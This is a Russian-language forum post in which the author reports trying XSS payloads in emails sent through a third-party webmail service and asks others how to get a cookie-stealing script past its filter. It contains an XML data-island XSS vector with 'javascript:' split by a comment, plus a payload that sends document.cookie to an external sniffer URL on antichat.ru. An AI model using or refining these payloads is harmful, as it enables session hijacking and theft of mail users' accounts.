др. почтовый севис - отличный от яндекса.
Ставлю в письме
<XML ID="xss"><I><B>&lt;IMG SRC="javas<!---->cript:alert('123')"&gt;</B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

пишет - 123

ставлю

<XML ID="xss"><I><B>&lt;IMG SRC="javas<!---->cript:img = new Image(); img.src ="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
)"&gt;</B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

и ставил просто ссылку, и кодировал в чар код, и редактировал все это, убираяя лишние пробелы. Результат - 0.
Вывод - нужно более экзоичным способом запостить туда скррипт со снифом, либо руки можно мне поломать.

Господа, отвечайте по существу.
С уважением!